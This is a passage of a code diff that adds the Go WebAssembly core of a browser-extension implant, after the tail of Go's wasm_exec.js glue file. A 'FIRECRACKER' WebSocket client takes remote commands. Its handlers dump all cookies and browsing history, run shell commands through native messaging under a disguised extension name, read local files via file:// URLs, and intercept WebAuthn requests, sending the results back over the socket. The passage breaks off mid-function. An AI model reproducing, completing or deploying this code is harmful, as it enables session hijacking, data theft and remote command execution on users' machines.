||||
|
||||
// func valueSet(v ref, p string, x ref)
|
||||
"syscall/js.valueSet": (sp) => {
|
||||
sp >>>= 0;
|
||||
Reflect.set(loadValue(sp + 8), loadString(sp + 16), loadValue(sp + 32));
|
||||
},
|
||||
|
||||
// func valueDelete(v ref, p string)
|
||||
"syscall/js.valueDelete": (sp) => {
|
||||
sp >>>= 0;
|
||||
Reflect.deleteProperty(loadValue(sp + 8), loadString(sp + 16));
|
||||
},
|
||||
|
||||
// func valueIndex(v ref, i int) ref
|
||||
"syscall/js.valueIndex": (sp) => {
|
||||
sp >>>= 0;
|
||||
storeValue(sp + 24, Reflect.get(loadValue(sp + 8), getInt64(sp + 16)));
|
||||
},
|
||||
|
||||
// valueSetIndex(v ref, i int, x ref)
|
||||
"syscall/js.valueSetIndex": (sp) => {
|
||||
sp >>>= 0;
|
||||
Reflect.set(loadValue(sp + 8), getInt64(sp + 16), loadValue(sp + 24));
|
||||
},
|
||||
|
||||
// func valueCall(v ref, m string, args []ref) (ref, bool)
|
||||
"syscall/js.valueCall": (sp) => {
|
||||
sp >>>= 0;
|
||||
try {
|
||||
const v = loadValue(sp + 8);
|
||||
const m = Reflect.get(v, loadString(sp + 16));
|
||||
const args = loadSliceOfValues(sp + 32);
|
||||
const result = Reflect.apply(m, v, args);
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 56, result);
|
||||
this.mem.setUint8(sp + 64, 1);
|
||||
} catch (err) {
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 56, err);
|
||||
this.mem.setUint8(sp + 64, 0);
|
||||
}
|
||||
},
|
||||
|
||||
// func valueInvoke(v ref, args []ref) (ref, bool)
|
||||
"syscall/js.valueInvoke": (sp) => {
|
||||
sp >>>= 0;
|
||||
try {
|
||||
const v = loadValue(sp + 8);
|
||||
const args = loadSliceOfValues(sp + 16);
|
||||
const result = Reflect.apply(v, undefined, args);
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 40, result);
|
||||
this.mem.setUint8(sp + 48, 1);
|
||||
} catch (err) {
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 40, err);
|
||||
this.mem.setUint8(sp + 48, 0);
|
||||
}
|
||||
},
|
||||
|
||||
// func valueNew(v ref, args []ref) (ref, bool)
|
||||
"syscall/js.valueNew": (sp) => {
|
||||
sp >>>= 0;
|
||||
try {
|
||||
const v = loadValue(sp + 8);
|
||||
const args = loadSliceOfValues(sp + 16);
|
||||
const result = Reflect.construct(v, args);
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 40, result);
|
||||
this.mem.setUint8(sp + 48, 1);
|
||||
} catch (err) {
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 40, err);
|
||||
this.mem.setUint8(sp + 48, 0);
|
||||
}
|
||||
},
|
||||
|
||||
// func valueLength(v ref) int
|
||||
"syscall/js.valueLength": (sp) => {
|
||||
sp >>>= 0;
|
||||
setInt64(sp + 16, parseInt(loadValue(sp + 8).length));
|
||||
},
|
||||
|
||||
// valuePrepareString(v ref) (ref, int)
|
||||
"syscall/js.valuePrepareString": (sp) => {
|
||||
sp >>>= 0;
|
||||
const str = encoder.encode(String(loadValue(sp + 8)));
|
||||
storeValue(sp + 16, str);
|
||||
setInt64(sp + 24, str.length);
|
||||
},
|
||||
|
||||
// valueLoadString(v ref, b []byte)
|
||||
"syscall/js.valueLoadString": (sp) => {
|
||||
sp >>>= 0;
|
||||
const str = loadValue(sp + 8);
|
||||
loadSlice(sp + 16).set(str);
|
||||
},
|
||||
|
||||
// func valueInstanceOf(v ref, t ref) bool
|
||||
"syscall/js.valueInstanceOf": (sp) => {
|
||||
sp >>>= 0;
|
||||
this.mem.setUint8(sp + 24, (loadValue(sp + 8) instanceof loadValue(sp + 16)) ? 1 : 0);
|
||||
},
|
||||
|
||||
// func copyBytesToGo(dst []byte, src ref) (int, bool)
|
||||
"syscall/js.copyBytesToGo": (sp) => {
|
||||
sp >>>= 0;
|
||||
const dst = loadSlice(sp + 8);
|
||||
const src = loadValue(sp + 32);
|
||||
if (!(src instanceof Uint8Array || src instanceof Uint8ClampedArray)) {
|
||||
this.mem.setUint8(sp + 48, 0);
|
||||
return;
|
||||
}
|
||||
const toCopy = src.subarray(0, dst.length);
|
||||
dst.set(toCopy);
|
||||
setInt64(sp + 40, toCopy.length);
|
||||
this.mem.setUint8(sp + 48, 1);
|
||||
},
|
||||
|
||||
// func copyBytesToJS(dst ref, src []byte) (int, bool)
|
||||
"syscall/js.copyBytesToJS": (sp) => {
|
||||
sp >>>= 0;
|
||||
const dst = loadValue(sp + 8);
|
||||
const src = loadSlice(sp + 16);
|
||||
if (!(dst instanceof Uint8Array || dst instanceof Uint8ClampedArray)) {
|
||||
this.mem.setUint8(sp + 48, 0);
|
||||
return;
|
||||
}
|
||||
const toCopy = src.subarray(0, dst.length);
|
||||
dst.set(toCopy);
|
||||
setInt64(sp + 40, toCopy.length);
|
||||
this.mem.setUint8(sp + 48, 1);
|
||||
},
|
||||
|
||||
"debug": (value) => {
|
||||
console.log(value);
|
||||
},
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
async run(instance) {
|
||||
if (!(instance instanceof WebAssembly.Instance)) {
|
||||
throw new Error("Go.run: WebAssembly.Instance expected");
|
||||
}
|
||||
this._inst = instance;
|
||||
this.mem = new DataView(this._inst.exports.mem.buffer);
|
||||
this._values = [ // JS values that Go currently has references to, indexed by reference id
|
||||
NaN,
|
||||
0,
|
||||
null,
|
||||
true,
|
||||
false,
|
||||
globalThis,
|
||||
this,
|
||||
];
|
||||
this._goRefCounts = new Array(this._values.length).fill(Infinity); // number of references that Go has to a JS value, indexed by reference id
|
||||
this._ids = new Map([ // mapping from JS values to reference ids
|
||||
[0, 1],
|
||||
[null, 2],
|
||||
[true, 3],
|
||||
[false, 4],
|
||||
[globalThis, 5],
|
||||
[this, 6],
|
||||
]);
|
||||
this._idPool = []; // unused ids that have been garbage collected
|
||||
this.exited = false; // whether the Go program has exited
|
||||
|
||||
// Pass command line arguments and environment variables to WebAssembly by writing them to the linear memory.
|
||||
let offset = 4096;
|
||||
|
||||
const strPtr = (str) => {
|
||||
const ptr = offset;
|
||||
const bytes = encoder.encode(str + "\0");
|
||||
new Uint8Array(this.mem.buffer, offset, bytes.length).set(bytes);
|
||||
offset += bytes.length;
|
||||
if (offset % 8 !== 0) {
|
||||
offset += 8 - (offset % 8);
|
||||
}
|
||||
return ptr;
|
||||
};
|
||||
|
||||
const argc = this.argv.length;
|
||||
|
||||
const argvPtrs = [];
|
||||
this.argv.forEach((arg) => {
|
||||
argvPtrs.push(strPtr(arg));
|
||||
});
|
||||
argvPtrs.push(0);
|
||||
|
||||
const keys = Object.keys(this.env).sort();
|
||||
keys.forEach((key) => {
|
||||
argvPtrs.push(strPtr(`${key}=${this.env[key]}`));
|
||||
});
|
||||
argvPtrs.push(0);
|
||||
|
||||
const argv = offset;
|
||||
argvPtrs.forEach((ptr) => {
|
||||
this.mem.setUint32(offset, ptr, true);
|
||||
this.mem.setUint32(offset + 4, 0, true);
|
||||
offset += 8;
|
||||
});
|
||||
|
||||
// The linker guarantees global data starts from at least wasmMinDataAddr.
|
||||
// Keep in sync with cmd/link/internal/ld/data.go:wasmMinDataAddr.
|
||||
const wasmMinDataAddr = 4096 + 8192;
|
||||
if (offset >= wasmMinDataAddr) {
|
||||
throw new Error("total length of command line and environment variables exceeds limit");
|
||||
}
|
||||
|
||||
this._inst.exports.run(argc, argv);
|
||||
if (this.exited) {
|
||||
this._resolveExitPromise();
|
||||
}
|
||||
await this._exitPromise;
|
||||
}
|
||||
|
||||
_resume() {
|
||||
if (this.exited) {
|
||||
throw new Error("Go program has already exited");
|
||||
}
|
||||
this._inst.exports.resume();
|
||||
if (this.exited) {
|
||||
this._resolveExitPromise();
|
||||
}
|
||||
}
|
||||
|
||||
_makeFuncWrapper(id) {
|
||||
const go = this;
|
||||
return function () {
|
||||
const event = { id: id, this: this, args: arguments };
|
||||
go._pendingEvent = event;
|
||||
go._resume();
|
||||
return event.result;
|
||||
};
|
||||
}
|
||||
}
|
||||
})();
|
||||
@@ -0,0 +1,910 @@
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall/js"
|
||||
"time"
|
||||
)
|
||||
|
||||
// FIRECRACKER_PORT - hardcoded port that can be easily replaced at build time
|
||||
const FIRECRACKER_PORT = "38899"
|
||||
|
||||
// EXTENSION_NAME - can be set at build time using -ldflags "-X main.EXTENSION_NAME=your.app.name"
|
||||
var EXTENSION_NAME = "com.chrome.alone" // default value
|
||||
|
||||
// Message chunking constants
|
||||
const MAX_MESSAGE_SIZE = 32000 // Max size before chunking (leave room for JSON overhead)
|
||||
const CHUNK_SIZE = 30000 // Size of each chunk
|
||||
|
||||
const (
|
||||
MESSAGE_TYPE_FORM_DATA = "form_data"
|
||||
|
||||
MESSAGE_TYPE_LS_COMMAND_REQ = "ls_command_request"
|
||||
MESSAGE_TYPE_LS_COMMAND_RESP = "ls_command_response"
|
||||
|
||||
MESSAGE_TYPE_SHELL_COMMAND_REQ = "shell_command_request"
|
||||
MESSAGE_TYPE_SHELL_COMMAND_RESP = "shell_command_response"
|
||||
|
||||
MESSAGE_TYPE_DUMP_COOKIES_REQ = "dump_cookies_request"
|
||||
MESSAGE_TYPE_DUMP_COOKIES_RESP = "dump_cookies_response"
|
||||
|
||||
MESSAGE_TYPE_DUMP_HISTORY_REQ = "dump_history_request"
|
||||
MESSAGE_TYPE_DUMP_HISTORY_RESP = "dump_history_response"
|
||||
|
||||
MESSAGE_TYPE_WEB_AUTHN_REQ = "webauthn_request"
|
||||
MESSAGE_TYPE_WEB_AUTHN_RESP = "webauthn_response"
|
||||
|
||||
// Message chunking types (outbound only)
|
||||
MESSAGE_TYPE_CHUNK_START = "chunk_start"
|
||||
MESSAGE_TYPE_CHUNK_DATA = "chunk_data"
|
||||
MESSAGE_TYPE_CHUNK_END = "chunk_end"
|
||||
)
|
||||
|
||||
type WebAuthnRequest struct {
|
||||
Domain string `json:"domain"`
|
||||
Request string `json:"request"`
|
||||
TaskId string `json:"taskId"`
|
||||
}
|
||||
|
||||
// FirecrackerClient manages WebSocket connection to FIRECRACKER server
|
||||
type FirecrackerClient struct {
|
||||
ws js.Value
|
||||
url string
|
||||
connected bool
|
||||
reconnectAttempts int
|
||||
maxReconnectAttempts int
|
||||
reconnectDelay time.Duration
|
||||
messageQueue []string
|
||||
pendingWebAuthnRequest *WebAuthnRequest
|
||||
|
||||
// Message chunking support (outbound only)
|
||||
chunkCounter int // for generating unique chunk IDs
|
||||
|
||||
// JavaScript callback functions
|
||||
onOpenCallback js.Func
|
||||
onMessageCallback js.Func
|
||||
onCloseCallback js.Func
|
||||
onErrorCallback js.Func
|
||||
}
|
||||
|
||||
// NewFirecrackerClient creates a new FIRECRACKER WebSocket client
|
||||
func NewFirecrackerClient() *FirecrackerClient {
|
||||
client := &FirecrackerClient{
|
||||
url: fmt.Sprintf("ws://127.0.0.1:%s", FIRECRACKER_PORT),
|
||||
connected: false,
|
||||
reconnectAttempts: 0,
|
||||
maxReconnectAttempts: 10,
|
||||
reconnectDelay: time.Second * 5,
|
||||
messageQueue: make([]string, 0),
|
||||
pendingWebAuthnRequest: nil,
|
||||
chunkCounter: 0,
|
||||
}
|
||||
|
||||
// Setup JavaScript callbacks
|
||||
client.setupCallbacks()
|
||||
|
||||
return client
|
||||
}
|
||||
|
||||
// setupCallbacks initializes JavaScript callback functions
|
||||
func (fc *FirecrackerClient) setupCallbacks() {
|
||||
fc.onOpenCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
fc.onOpen()
|
||||
return nil
|
||||
})
|
||||
|
||||
fc.onMessageCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
fc.onMessage(args[0])
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
fc.onCloseCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
fc.onClose(args[0])
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
fc.onErrorCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
fc.onError(args[0])
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// Connect establishes WebSocket connection to FIRECRACKER server
|
||||
func (fc *FirecrackerClient) Connect() {
|
||||
println("FIRECRACKER: Attempting to connect to", fc.url)
|
||||
|
||||
// Create new WebSocket connection
|
||||
websocketConstructor := js.Global().Get("WebSocket")
|
||||
if websocketConstructor.IsUndefined() {
|
||||
println("FIRECRACKER: WebSocket is not available")
|
||||
return
|
||||
}
|
||||
|
||||
fc.ws = websocketConstructor.New(fc.url)
|
||||
|
||||
// Set up event handlers
|
||||
fc.ws.Set("onopen", fc.onOpenCallback)
|
||||
fc.ws.Set("onmessage", fc.onMessageCallback)
|
||||
fc.ws.Set("onclose", fc.onCloseCallback)
|
||||
fc.ws.Set("onerror", fc.onErrorCallback)
|
||||
}
|
||||
|
||||
// onOpen handles WebSocket connection open event
|
||||
func (fc *FirecrackerClient) onOpen() {
|
||||
println("FIRECRACKER: WebSocket connected successfully")
|
||||
fc.connected = true
|
||||
fc.reconnectAttempts = 0
|
||||
|
||||
// Send any queued messages
|
||||
fc.flushMessageQueue()
|
||||
}
|
||||
|
||||
// onMessage handles incoming WebSocket messages
|
||||
func (fc *FirecrackerClient) onMessage(event js.Value) {
|
||||
data := event.Get("data")
|
||||
if data.Type() == js.TypeString {
|
||||
message := data.String()
|
||||
println("FIRECRACKER: Received message:", message)
|
||||
|
||||
// Process the message
|
||||
fc.processMessage(message)
|
||||
}
|
||||
}
|
||||
|
||||
// onClose handles WebSocket connection close event
|
||||
func (fc *FirecrackerClient) onClose(event js.Value) {
|
||||
code := event.Get("code").Int()
|
||||
reason := event.Get("reason").String()
|
||||
|
||||
println("FIRECRACKER: WebSocket closed - Code:", code, "Reason:", reason)
|
||||
fc.connected = false
|
||||
|
||||
// Attempt to reconnect if within retry limits
|
||||
if fc.reconnectAttempts < fc.maxReconnectAttempts {
|
||||
fc.scheduleReconnect()
|
||||
} else {
|
||||
println("FIRECRACKER: Max reconnection attempts reached, giving up")
|
||||
}
|
||||
}
|
||||
|
||||
// onError handles WebSocket error events
|
||||
func (fc *FirecrackerClient) onError(event js.Value) {
|
||||
println("FIRECRACKER: WebSocket error occurred")
|
||||
fc.connected = false
|
||||
}
|
||||
|
||||
// scheduleReconnect schedules a reconnection attempt
|
||||
func (fc *FirecrackerClient) scheduleReconnect() {
|
||||
fc.reconnectAttempts++
|
||||
delay := fc.reconnectDelay * time.Duration(fc.reconnectAttempts)
|
||||
|
||||
println("FIRECRACKER: Scheduling reconnection attempt", fc.reconnectAttempts, "in", delay)
|
||||
|
||||
// Use setTimeout to schedule reconnection
|
||||
setTimeout := js.Global().Get("setTimeout")
|
||||
reconnectCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
println("FIRECRACKER: Attempting reconnection", fc.reconnectAttempts, "of", fc.maxReconnectAttempts)
|
||||
fc.Connect()
|
||||
return nil
|
||||
})
|
||||
|
||||
setTimeout.Invoke(reconnectCallback, int(delay.Milliseconds()))
|
||||
}
|
||||
|
||||
// SendMessage sends a message to the FIRECRACKER server, with automatic chunking for large messages
|
||||
func (fc *FirecrackerClient) SendMessage(message string) bool {
|
||||
if !fc.connected || fc.ws.IsUndefined() {
|
||||
println("FIRECRACKER: WebSocket not connected, queueing message:", message[:min(100, len(message))]+"...")
|
||||
fc.messageQueue = append(fc.messageQueue, message)
|
||||
return false
|
||||
}
|
||||
|
||||
// Check WebSocket ready state
|
||||
readyState := fc.ws.Get("readyState").Int()
|
||||
if readyState != 1 { // 1 = OPEN
|
||||
println("FIRECRACKER: WebSocket not ready (state:", readyState, "), queueing message:", message[:min(100, len(message))]+"...")
|
||||
fc.messageQueue = append(fc.messageQueue, message)
|
||||
return false
|
||||
}
|
||||
|
||||
// Check if message needs chunking
|
||||
if len(message) > MAX_MESSAGE_SIZE {
|
||||
return fc.sendChunkedMessage(message)
|
||||
}
|
||||
|
||||
// Send the message directly
|
||||
fc.ws.Call("send", message)
|
||||
println("FIRECRACKER: Sent message:", message[:min(200, len(message))])
|
||||
return true
|
||||
}
|
||||
|
||||
// sendChunkedMessage splits large messages into chunks and sends them
|
||||
func (fc *FirecrackerClient) sendChunkedMessage(message string) bool {
|
||||
fc.chunkCounter++
|
||||
chunkId := fmt.Sprintf("chunk_%d_%d", time.Now().Unix(), fc.chunkCounter)
|
||||
|
||||
println("FIRECRACKER: Message is large (", len(message), " bytes), chunking with ID:", chunkId)
|
||||
|
||||
// Send start chunk
|
||||
startChunk := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_CHUNK_START,
|
||||
"chunkId": chunkId,
|
||||
"totalSize": len(message),
|
||||
}
|
||||
startChunkJson, _ := json.Marshal(startChunk)
|
||||
fc.ws.Call("send", string(startChunkJson))
|
||||
|
||||
// Send data chunks
|
||||
chunkNum := 0
|
||||
for i := 0; i < len(message); i += CHUNK_SIZE {
|
||||
end := i + CHUNK_SIZE
|
||||
if end > len(message) {
|
||||
end = len(message)
|
||||
}
|
||||
|
||||
chunk := message[i:end]
|
||||
dataChunk := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_CHUNK_DATA,
|
||||
"chunkId": chunkId,
|
||||
"chunkNum": chunkNum,
|
||||
"data": chunk,
|
||||
}
|
||||
dataChunkJson, _ := json.Marshal(dataChunk)
|
||||
fc.ws.Call("send", string(dataChunkJson))
|
||||
chunkNum++
|
||||
}
|
||||
|
||||
// Send end chunk
|
||||
endChunk := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_CHUNK_END,
|
||||
"chunkId": chunkId,
|
||||
"totalChunks": chunkNum,
|
||||
}
|
||||
endChunkJson, _ := json.Marshal(endChunk)
|
||||
fc.ws.Call("send", string(endChunkJson))
|
||||
|
||||
println("FIRECRACKER: Sent chunked message with", chunkNum, "chunks")
|
||||
return true
|
||||
}
|
||||
|
||||
// min utility function
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// flushMessageQueue sends all queued messages
|
||||
func (fc *FirecrackerClient) flushMessageQueue() {
|
||||
if len(fc.messageQueue) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
println("FIRECRACKER: Flushing", len(fc.messageQueue), "queued messages")
|
||||
|
||||
for _, message := range fc.messageQueue {
|
||||
if fc.SendMessage(message) {
|
||||
continue
|
||||
} else {
|
||||
// If sending fails, keep the rest in queue
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Clear successfully sent messages
|
||||
fc.messageQueue = fc.messageQueue[:0]
|
||||
}
|
||||
|
||||
type FirecrackerMessage struct {
|
||||
Type string `json:"type"`
|
||||
Data string `json:"data"`
|
||||
TaskId string `json:"taskId"`
|
||||
}
|
||||
|
||||
// processMessage processes incoming messages from FIRECRACKER server
|
||||
func (fc *FirecrackerClient) processMessage(message string) {
|
||||
// Handle different types of messages from server
|
||||
if len(message) > 12 && message[:12] == "FIRECRACKER:" {
|
||||
// This is an echo response from our server
|
||||
echoedMessage := message[12:]
|
||||
println("FIRECRACKER: Server echoed:", echoedMessage)
|
||||
|
||||
// You can add more specific message processing here
|
||||
// For example, parse JSON commands, handle ping/pong, etc.
|
||||
|
||||
} else {
|
||||
|
||||
// Expect that we have received a JSON object
|
||||
// Parse the JSON object
|
||||
var jsonObj FirecrackerMessage
|
||||
err := json.Unmarshal([]byte(message), &jsonObj)
|
||||
if err != nil {
|
||||
println("FIRECRACKER: Error parsing JSON:", err)
|
||||
return
|
||||
}
|
||||
|
||||
switch jsonObj.Type {
|
||||
case MESSAGE_TYPE_LS_COMMAND_REQ:
|
||||
fc.handleReadDisk(jsonObj)
|
||||
case MESSAGE_TYPE_SHELL_COMMAND_REQ:
|
||||
fc.handleShellCommand(jsonObj)
|
||||
case MESSAGE_TYPE_DUMP_COOKIES_REQ:
|
||||
fc.handleDumpCookies(jsonObj)
|
||||
case MESSAGE_TYPE_DUMP_HISTORY_REQ:
|
||||
fc.handleDumpHistory(jsonObj)
|
||||
case MESSAGE_TYPE_WEB_AUTHN_REQ:
|
||||
fc.handleWebAuthn(jsonObj)
|
||||
default:
|
||||
println("FIRECRACKER: Unknown message type:", jsonObj.Type)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (fc *FirecrackerClient) handleWebAuthn(jsonObj FirecrackerMessage) {
|
||||
println("FIRECRACKER: Received webauthn request message:", jsonObj.Data)
|
||||
|
||||
var webAuthnRequest WebAuthnRequest
|
||||
err := json.Unmarshal([]byte(jsonObj.Data), &webAuthnRequest)
|
||||
webAuthnRequest.TaskId = jsonObj.TaskId
|
||||
if err != nil {
|
||||
println("FIRECRACKER: Error parsing webauthn request:", err)
|
||||
return
|
||||
}
|
||||
|
||||
if fc.pendingWebAuthnRequest != nil {
|
||||
replacedMessage := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_WEB_AUTHN_RESP,
|
||||
"data": "Replaced by new request",
|
||||
"success": false,
|
||||
"taskId": fc.pendingWebAuthnRequest.TaskId,
|
||||
}
|
||||
replacedMessageJson, _ := json.Marshal(replacedMessage)
|
||||
fc.SendMessage(string(replacedMessageJson))
|
||||
}
|
||||
println("FIRECRACKER: Updated Pending Webauthn request to: ", jsonObj.Data)
|
||||
fc.pendingWebAuthnRequest = &webAuthnRequest
|
||||
return
|
||||
}
|
||||
|
||||
func (fc *FirecrackerClient) handleDumpCookies(jsonObj FirecrackerMessage) {
|
||||
emptyObj := js.Global().Get("Object").New()
|
||||
|
||||
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
cookies := args[0]
|
||||
cookiesArrayJson := js.Global().Get("JSON").Call("stringify", cookies).String()
|
||||
cookiesResponse := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_DUMP_COOKIES_RESP,
|
||||
"data": cookiesArrayJson,
|
||||
"taskId": jsonObj.TaskId,
|
||||
}
|
||||
cookiesJson, _ := json.Marshal(cookiesResponse)
|
||||
fc.SendMessage(string(cookiesJson))
|
||||
return nil
|
||||
})
|
||||
|
||||
js.Global().Get("chrome").Get("cookies").Call("getAll", emptyObj, callback)
|
||||
}
|
||||
|
||||
func (fc *FirecrackerClient) handleDumpHistory(jsonObj FirecrackerMessage) {
|
||||
daysBack := 7
|
||||
|
||||
if jsonObj.Data != "" {
|
||||
var err error
|
||||
daysBack, err = strconv.Atoi(jsonObj.Data)
|
||||
if err != nil {
|
||||
daysBack = 7
|
||||
println("FIRECRACKER: Could not parse days back, defaulting to 7 days")
|
||||
}
|
||||
}
|
||||
|
||||
searchObj := js.Global().Get("Object").New()
|
||||
searchObj.Set("text", "")
|
||||
searchObj.Set("startTime", time.Now().Add(-time.Duration(daysBack)*24*time.Hour).Unix()*1000)
|
||||
searchObj.Set("maxResults", 100000)
|
||||
|
||||
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
historyItems := args[0]
|
||||
serializedData := js.Global().Get("JSON").Call("stringify", historyItems).String()
|
||||
historyResponse := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_DUMP_HISTORY_RESP,
|
||||
"data": serializedData,
|
||||
"taskId": jsonObj.TaskId,
|
||||
}
|
||||
historyResponseJson, _ := json.Marshal(historyResponse)
|
||||
fc.SendMessage(string(historyResponseJson))
|
||||
return nil
|
||||
})
|
||||
|
||||
js.Global().Get("chrome").Get("history").Call("search", searchObj, callback)
|
||||
}
|
||||
|
||||
func (fc *FirecrackerClient) handleShellCommand(jsonObj FirecrackerMessage) {
|
||||
println("FIRECRACKER: Received shell command message:", jsonObj.Data)
|
||||
command := jsonObj.Data
|
||||
|
||||
chrome := js.Global().Get("chrome")
|
||||
runtime := chrome.Get("runtime")
|
||||
connectNative := runtime.Get("connectNative")
|
||||
|
||||
// Connect to native messaging host - note that the extension name is case-insensitive
|
||||
lowerCaseExtensionName := strings.ToLower(EXTENSION_NAME)
|
||||
port := connectNative.Invoke(lowerCaseExtensionName)
|
||||
if port.IsUndefined() {
|
||||
println("FIRECRACKER: Failed to connect to native host")
|
||||
fc.SendMessage("SHELL_ERROR: Failed to connect to native host")
|
||||
return
|
||||
}
|
||||
|
||||
// Create message listener callback
|
||||
messageCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
msg := args[0]
|
||||
if msg.Get("data").Type() == js.TypeString {
|
||||
response := msg.Get("data").String()
|
||||
|
||||
shellResponse := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_SHELL_COMMAND_RESP,
|
||||
"data": response,
|
||||
"taskId": jsonObj.TaskId,
|
||||
}
|
||||
shellResponseJson, _ := json.Marshal(shellResponse)
|
||||
println("FIRECRACKER: Shell command response:", response)
|
||||
fc.SendMessage(string(shellResponseJson))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
// Create disconnect callback
|
||||
disconnectCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
println("FIRECRACKER: Native messaging port disconnected")
|
||||
lastError := runtime.Get("lastError")
|
||||
if !lastError.IsUndefined() && lastError.Get("message").Type() == js.TypeString {
|
||||
errorMsg := lastError.Get("message").String()
|
||||
println("FIRECRACKER: Native messaging error:", errorMsg)
|
||||
fc.SendMessage(fmt.Sprintf("SHELL_ERROR: %s", errorMsg))
|
||||
} else {
|
||||
fc.SendMessage("SHELL_ERROR: Native messaging port disconnected")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
// Set up event listeners
|
||||
onMessage := port.Get("onMessage")
|
||||
if !onMessage.IsUndefined() {
|
||||
onMessage.Call("addListener", messageCallback)
|
||||
}
|
||||
|
||||
onDisconnect := port.Get("onDisconnect")
|
||||
if !onDisconnect.IsUndefined() {
|
||||
onDisconnect.Call("addListener", disconnectCallback)
|
||||
}
|
||||
|
||||
// Create message object and send command
|
||||
messageObj := js.Global().Get("Object").New()
|
||||
messageObj.Set("message", command)
|
||||
|
||||
// Send the command to native host
|
||||
port.Call("postMessage", messageObj)
|
||||
println("FIRECRACKER: Shell command sent:", command)
|
||||
}
|
||||
|
||||
func (fc *FirecrackerClient) handleReadDisk(jsonObj FirecrackerMessage) {
|
||||
println("FIRECRACKER: Received read disk message:", jsonObj.Data)
|
||||
|
||||
// Construct the file:// URL
|
||||
fileUrl := fmt.Sprintf("file://%s", jsonObj.Data)
|
||||
println("FIRECRACKER: Fetching directory listing from:", fileUrl)
|
||||
|
||||
// Create error callback
|
||||
errorCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
errorMsg := args[0].String()
|
||||
println("FIRECRACKER: Error reading disk:", errorMsg)
|
||||
fc.SendMessage(fmt.Sprintf("DISK_ERROR: %s", errorMsg))
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
// Use fetch API with promise chaining
|
||||
fetch := js.Global().Get("fetch")
|
||||
promise := fetch.Invoke(fileUrl)
|
||||
|
||||
// Chain .then() calls - first get the response and check content type
|
||||
promise.Call("then", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
response := args[0]
|
||||
// Check content type to determine if it's text or binary
|
||||
contentType := response.Get("headers").Call("get", "content-type").String()
|
||||
println("FIRECRACKER: Content-Type:", contentType)
|
||||
|
||||
// If there's no content-type header (null/empty), it's a directory listing (read as text)
|
||||
// Otherwise, only read as text if content-type explicitly starts with "text/"
|
||||
isText := (contentType == "" || contentType == "<null>" || contentType == "null") ||
|
||||
regexp.MustCompile(`^text/`).MatchString(contentType)
|
||||
|
||||
println("FIRECRACKER: isText decision:", isText, "for content-type:", contentType)
|
||||
|
||||
if isText {
|
||||
// Read as text for text/ content types
|
||||
return response.Call("text")
|
||||
} else {
|
||||
// Read as binary for everything else (application/, image/, etc.)
|
||||
return response.Call("arrayBuffer")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})).Call("then", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
data := args[0]
|
||||
|
||||
// Check if this is an ArrayBuffer (binary data) or string (text)
|
||||
// Use Type() to safely check the JavaScript type
|
||||
if data.Type() == js.TypeObject && !data.IsNull() && !data.IsUndefined() {
|
||||
// Try to check if it's an ArrayBuffer
|
||||
constructor := data.Get("constructor")
|
||||
if !constructor.IsUndefined() && constructor.Get("name").String() == "ArrayBuffer" {
|
||||
// Handle binary data
|
||||
fc.handleBinaryData(data, jsonObj)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// Handle as text data (either string type or not an ArrayBuffer)
|
||||
text := data.String()
|
||||
fc.processTextContent(text, jsonObj)
|
||||
}
|
||||
return nil
|
||||
})).Call("catch", errorCallback)
|
||||
}
|
||||
|
||||
// processTextContent handles text content (including HTML directory listings)
|
||||
func (fc *FirecrackerClient) processTextContent(text string, jsonObj FirecrackerMessage) {
|
||||
|
||||
// Check if this is a directory listing by looking for "Index of" in the h1 header
|
||||
// The ls command should ALWAYS return directory listings unless accessing a specific file
|
